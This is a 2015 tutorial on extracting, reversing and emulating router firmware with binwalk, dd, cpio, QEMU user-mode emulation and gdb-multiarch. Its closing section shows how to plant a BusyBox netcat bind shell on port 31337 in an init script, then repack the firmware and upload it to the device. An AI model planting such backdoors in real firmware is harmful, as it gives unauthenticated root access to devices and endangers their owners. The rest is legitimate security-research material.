Analyzing, Reversing and Emulating Firmware

By: magikh0e magikh0e _aT_ ihtb d0t org '\v/` (o 0) m0o. (_) / Last Edit: July 4 2015

Table Of Contents

Prerequsites

Analyzing & Reversing Firmware
 -Identifying File Headers: (Binwalk, xdd, file, strings)
 -Files and Filesystem Extraction: (Binwalk, dd)
 -Debugging ARM / ($ARCHITECTURE) binaries: on x86 Linux
    
Setup and Configuration of the Target Environment
 -Chrooting and Using the Target Environment
 -Enabling support for ($ARCHITECTURE) binaries: (i386/ARM/M68K/MIPS/SPARC/PPC/s390) 

Getting Root Access: No exploit required...



This tutorial will walk through the process of analyzing, reversing and extracting files from firmware in order to get access to the contents of the filesystem for emulation using QEMU. The ability to extract and emulate in this manner allows for further testing and analysis. In this example, we will be using the firmware from an Automation and Control Device: TE-AR-100T-WAVE ROUTER. By no means this guide is mean to serve as an indepth guide to reversing or analyzing firmware, it barelys cratches the surface. The purpose being to provide a specific example
IE-AR-100T-WAVE

Prerequesite Software

Qemu, Qemu-system & Qemu-user-static
Binwalk
Firmware files! Go download some now.
(optional) Kali Linux
(optional) Firmware Modification Toolkit ' FMK '


When people talk about the term 'firmware', many different things come to mind. 
There is many diff types of architectures when it comes to dealing with 'firmware'. 
Generally most 'firmware' architectures will fall into one of the following three 
categories: Full, Partial and Bootloaders

Full firmware
Operating system & supporting tools. (Linux, Windows, Cisco IOS, Symbian, etc.), supporting tools such as BusyBox,
kernel, bootloaders, libraries, and applications.

Partial firmware
Where one of the above components is missing. The application may run directly with Kernel privileges, may have a
custom OS, or may be just associated files.

Bootloaders
U-Boot, Redboot, etc.


Once you have a firmware file, the first step is to begin identifying what sort of technologies or techniques the
firmware is using. The most common file systems you will run into usually when reversing firmware is CramFS & 
SquashFS, along with popular compression mechanisms like Zip, LZMA, and tar.  

Most firmware will usually run on a different architecture than you are currently using, so for this reason we 
will be using QEMU with User mode emulation in order to properly emulate the targets architecture. In user mode,
QEMU can launch processes compiled for one architecture on another architecture. Thus allowing for running of MIPS
or ARM binaries as an example on x85 & x64 architectures.



Analyzing and Reversing Firmware

Most firmware usually consist of a packed archive containing other files and file systems within. Some come with
zero protection, while others may be protected by means of encryption or other sorts of obscurities (layering 
like an onion using diff compressions). 

In order to determine which sort of techniques your firmware file is using, several diff tools are available to
assist with further analysis. One quick and simple way to determine if the file is encrypted or not is by using 
the 

'strings filename' command. 

Example strings output
strings IE-AR-100T-WAVE-5.0.6.hfw

meta-inf.xmlUT  
M"I8
/FMm
IE-AR-100T-WAVE_firmwareUT      
bawS
zye     i
N]C,
'xk}}


The strings command will print all ascii/unicode readable characters 'strings' found within a file. If you can 
find some obvious words displayed, chances are the file is unencrypted. Another possible way is by using a HEX
editor on the file and searching for possible Headers that can be identified. Other simple tools which can be 
used for analysis, like the magic file utility command.

'file filename'

Example magic file utility output
file IE-AR-100T-WAVE-5.0.6.hfw

IE-AR-100T-WAVE-5.0.6.hfw: Zip archive data, at least v2.0 to extract



Identifying File Headers

File headers will not always jump right out and identify themselves. It is very common for firmware to use the
onion technique, by wrapping its filesystem within layers upon layers using different compressions and filesystem
formats. The example used in this guide was 5 layers deep, before revealing the real file system.


DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             uImage header, header size: 64 bytes, header CRC: 0x520DABFB, created: Tue Jun 30 03:32:08 2009, 
                              image size: 9070000 bytes, Data Address: 0x8000,
                              Entry Point: 0x8000, data CRC: 0xD822B635, OS: Linux, CPU: ARM, 
                              image type: OS Kernel Image, compression type: none, image name: "Linux-2.6.25.20"
14096         0x3710          gzip compressed data, maximum compression, from Unix, last modified: Tue Jun 30 03:32:07 2009



Example file Signatures, Hex values & Types

Signature			Hex			Type
MZ					 		.exe
PK			50 4B 03 04			.zip
Rar!							.rar
BM							.bmp
			FF D8 FF E0 ** ** 		.jpg, .jpeg
			4A 4649 46 00
%PDF			25 50 44 46			.pdf
%.PNG							.png
OggS							.ogg

A more extensive list of file headers, can be found here.


In cases where it's not so easy to identify what is being used by the header signatures, you can use tools like xxd, Binwalk & FMK to analyze the file & possibly extract the files automatically. xxd dump example xxd -a IE-AR-100T-WAVE-5.0.6.hfw | head 0000000: 504b 0304 1400 0000 0800 f870 6f3c 7fb3 PK.........po<.. 0000010: 2945 ba00 0000 6801 0000 0c00 1500 6d65 )E....h.......me 0000020: 7461 2d69 6e66 2e78 6d6c 5554 0900 0324 ta-inf.xmlUT...$ 0000030: 319e 4b24 319e 4b55 7804 00e8 03e8 0365 1.K$1.KUx......e 0000040: 905f 0b82 3010 c09f edbb b84d 2249 3806 ._..0......M"I8. 0000050: 3d18 f41a 518f 2176 ca40 a7cd a9d0 a76f [email protected] 0000060: 3725 adde ee7e f7ef b7c1 290d 0fe7 f076 7%...~....)....v 0000070: b8a6 7213 c080 a653 8d76 6100 3aab 51ee ..r....S.va.:.Q. 0000080: 9860 3170 1f13 cc1b 5da8 b237 996d 8c8c .`1p....]..7.m.. 0000090: 58cc 04f0 2f46 4d6d d597 4abb b2a0 f29c X.../FMm..J..... NOTE: See the leading PK signaure...
Binwalk common file signature scan binwalk -B IE-AR-100T-WAVE_uImage DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 uImage header, header size: 64 bytes, header CRC: 0x520DABFB, created: Tue Jun 30 03:32:08 2009, image size: 9070000 bytes, Data Address: 0x8000, Entry Point: 0x8000, data CRC: 0xD822B635, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name: "Linux-2.6.25.20" 14096 0x3710 gzip compressed data, maximum compression, from Unix, last modified: Tue Jun 30 03:32:07 2009


Files / Filesystem Extraction

In this example shown above, we can see that there is a gzip archive that has been detected along with the
location. Extraction of this file is made simple by using binwalk.


Binwalk extraction example (gzip)
 binwalk --dd=gzip:gz:1 IE-AR-100T-WAVE_uImage
 
 Binwalk: -D, --dd=[type:ext:cmd] 
 		Extract type signatures, give the files an extension of ext, and execute cmd
 
 
dd extraction example (gzip)
Binwalk has shown us the file begins at 14096, we can use dd to skip everything before this, essentially copying/carving the file out.

dd if=IE-AR-100T-WAVE_uImage bs=14096 skip=1 of=file.gzip


Rember the onion technique, after the extraction we are now left with yet another gzip, after extracting that gzip you are 
then presented with a CPIO archive. 

In this example the CPIO archive, contained the filesystem which we were after. We simply extract this archvie by
issung the following commands: 

mkdir /tmp/firmware_fs 
cd /tmp/firmware_fs
cpio -imv --no-absolute-filenames < /path/to/cpio_file. 

Now that we have extracted the filesystem, we can now begin emulation of the targets environment using QEMU.

NOTE with SquashFS: Sometimes you will run into SquashFS images that are unmountable, due to various reasons. 
Vendors seem to like to bastardize SquashFS using non-standard compressions.

To resolve this, you can try installing make, gcc & liblzo2-dev library, along with compiling sasquatch by devttyS0. 
Once installed and compiled, attempt to mount the image using sasquatch /path/to/squashfs_image






Debugging ARM / ($ARCHITECTURE) binaries on x86 Linux


Knowing that the normal qemu-static-arm will not pass ptrace syscalls, another solution is used in order to debug
ARM binaries on a x86 Linux system. Other architectures can be done in similar fashion, though in this tutorial, 
we will continue using ARM as an example.

1. Install the gdb-multiarch - The GNU Debugger (with support for multiple architectures).
2. Launch qemu-arm using the -g option: qemu-arm -g 31337 /path/to/ARM_binary
3. In a seperate terminal, launch gdb-multiarch and load the same file again.
 gdb-multiarch -q -nx


(gdb) file /path/to/ARM_binary
Reading symbols from /path/to/ARM_binary...done.
(gdb) set architecture arm
The target architecture is assumed to be arm
(gdb) target remote 127.0.0.1:31337
Remote debugging using 127.0.0.1:31337
[New Remote target]
[Switching to Remote target]
0xf67d97a0 in ?? ()
(gdb) 




Setup and Configuration of the Target Environment

To begin analyzing the firmware, it helps to have a live environment running for further testing, this can easily
be achieved by using QEMU with User Mode Emulation. User mode emulation supports dynamic and static libraries, for
this guide we will be using static. In order to create this environment, you must have the following software
installed: Qemu, Qemu-system, Qemu-user-static. In this guide we will be building an environment for the armeb
architecture. In the event you are using mips, you would replace armeb in the commands below with the mips version required. 
For step b, make sure you have enabled the proper binary support via /proc/sys/fs/binfmt_misc/register. 

See below for enabeling other architectures.

1. Copy the qemu-static-($ARCHITECTURE) binary into the target firmwares file system: 
		cp /usr/bin/qemu-static-armeb /tmp/firmware_fs/usr/bin
2. Enable kernel support for the execution of the target firmwares binaries using Qemu.
	a. First you must ensure that the module 'binfmt_misc' is loaded or supported by the kernel. 
       Then issue the following command to mount the binfmt_misc file system. 
		mount binfmt_misc -t binfmt_misc /proc/sys/fs/binfmt_misc
	b. Enable support for armeb binaries: (for other architectures, see QEMU documentation)
		echo ':armeb:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28:
\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-armeb-static:C' |
 sudo tee /proc/sys/fs/binfmt_misc/register >/dev/null
	   
       NOTE: make sure the path '/usr/bin/qemu-armeb-static' used above points to the correct
        location of the qemu-static binary required by the target firmware. And that no spaces 
        have shown up within the echo command after copy/pasting. 
          
	c. Bind 'dev' and 'proc' to the target environment by issung the following commands.
		mount -o bind /dev /tmp/firmware_fs/dev && mount -t proc proc /tmp/firmware_fs/proc
	d. Copy the target firmwares libraries into '/usr/gnemul/qemu-arm' on the host system. 
    	This will allow qemu's user mode emulation to use the targets libraries.

Chrooting into the Environment

Now that you have setup and configured the environment, begin testing by chrooting into your newly created environment, 
using the following command.

NOTE: For testing purposes, you can also replace the firmware file system using debian.tgz arm release (88mb).
   
chroot /tmp/firmware_fs path_to/shell

If all goes well, you should now have a running shell within your target environment. Everything should now work 
as expected, allowing direct interaction or connections to services running on the system...



NOTE: 
- GDB will dot work within Qemu-arm-static environments as it will not send ptrace syscalls. The only way to do    
  this is by using qemu with the integrated gdb server and a multiarch gdb package.

- If you get errors such as 'no such file'. Make sure you have completed steps 2 and 3 (d) above.
 
 


Enabling automatic i386/ARM/M68K/MIPS/SPARC/PPC/s390 binary support

The below code has been copied from https://github.com/qemu/qemu/blob/master/scripts/qemu-binfmt-conf.sh

if [ $cpu != "i386" ] ; then
    echo ':i386:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00:
\xff\xff\xff\xff\xff\xfe\xfe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:
/usr/local/bin/qemu-i386:' > /proc/sys/fs/binfmt_misc/register
    echo ':i486:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x06\x00:
\xff\xff\xff\xff\xff\xfe\xfe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:
/usr/local/bin/qemu-i386:' > /proc/sys/fs/binfmt_misc/register
fi
if [ $cpu != "alpha" ] ; then
    echo ':alpha:M::\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x26\x90:
\xff\xff\xff\xff\xff\xfe\xfe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:
/usr/local/bin/qemu-alpha:' > /proc/sys/fs/binfmt_misc/register
fi
if [ $cpu != "arm" ] ; then
    echo   ':arm:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28\x00:
\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:
/usr/local/bin/qemu-arm:' > /proc/sys/fs/binfmt_misc/register
    echo   ':armeb:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28:
\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:
/usr/local/bin/qemu-armeb:' > /proc/sys/fs/binfmt_misc/register
fi
if [ $cpu != "aarch64" ] ; then
    echo ':aarch64:M::\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\xb7\x00:
\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:
/usr/local/bin/qemu-aarch64:' > /proc/sys/fs/binfmt_misc/register
fi
if [ $cpu != "sparc" ] ; then
    echo   ':sparc:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x02:
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:
/usr/local/bin/qemu-sparc:' > /proc/sys/fs/binfmt_misc/register
fi
if [ $cpu != "ppc" ] ; then
    echo   ':ppc:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14:
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:
/usr/local/bin/qemu-ppc:' > /proc/sys/fs/binfmt_misc/register
fi
if [ $cpu != "m68k" ] ; then
    echo   'Please check cpu value and header information for m68k!'
    echo   ':m68k:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x04:
\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:
/usr/local/bin/qemu-m68k:' > /proc/sys/fs/binfmt_misc/register
fi
if [ $cpu != "mips" ] ; then
    # FIXME: We could use the other endianness on a MIPS host.
    echo   ':mips:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08:
\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:
/usr/local/bin/qemu-mips:' > /proc/sys/fs/binfmt_misc/register
    echo   ':mipsel:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00:
\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:
/usr/local/bin/qemu-mipsel:' > /proc/sys/fs/binfmt_misc/register
    echo   ':mipsn32:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08:
\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:
/usr/local/bin/qemu-mipsn32:' > /proc/sys/fs/binfmt_misc/register
    echo   ':mipsn32el:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00:
\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:
/usr/local/bin/qemu-mipsn32el:' > /proc/sys/fs/binfmt_misc/register
    echo   ':mips64:M::\x7fELF\x02\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08:
\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:
/usr/local/bin/qemu-mips64:' > /proc/sys/fs/binfmt_misc/register
    echo   ':mips64el:M::\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00:
\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:
 /usr/local/bin/qemu-mips64el:' > /proc/sys/fs/binfmt_misc/register
fi
if [ $cpu != "sh" ] ; then
    echo    ':sh4:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x2a\x00:
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:
/usr/local/bin/qemu-sh4:' > /proc/sys/fs/binfmt_misc/register
    echo    ':sh4eb:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x2a:
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:
/usr/local/bin/qemu-sh4eb:' > /proc/sys/fs/binfmt_misc/register
fi
if [ $cpu != "s390x" ] ; then
    echo   ':s390x:M::\x7fELF\x02\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x16:
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:
/usr/local/bin/qemu-s390x:' > /proc/sys/fs/binfmt_misc/register
fi





Getting Root - The Easy Way

Without the need for overflows or some sort of authentication bypass means, once we have extracted and begun to
emulate firmware locally, we can take advantage of something key with alot of hardware devices. Alot of devices
will blindy trust whatever firmware thrown at them as valid firmware.

The first step in getting root access is by analyzing all of the startup scripts, typically found within: 
/etc/init.d or /etc/rc.d. Pretty much any script you find within this directory is going to be
executed as the root user at some point, so simply edit one of the files add in your own backdoor to be started 
as a part of this process. Example below.


Using BusyBox netcat

echo "/bin/busybox nc -nlp 31337 -e /bin/busybox sh &" >> /etc/rc.d/some_file Now simply repack the firmware and upload to the device, or begin further analysis with qemu...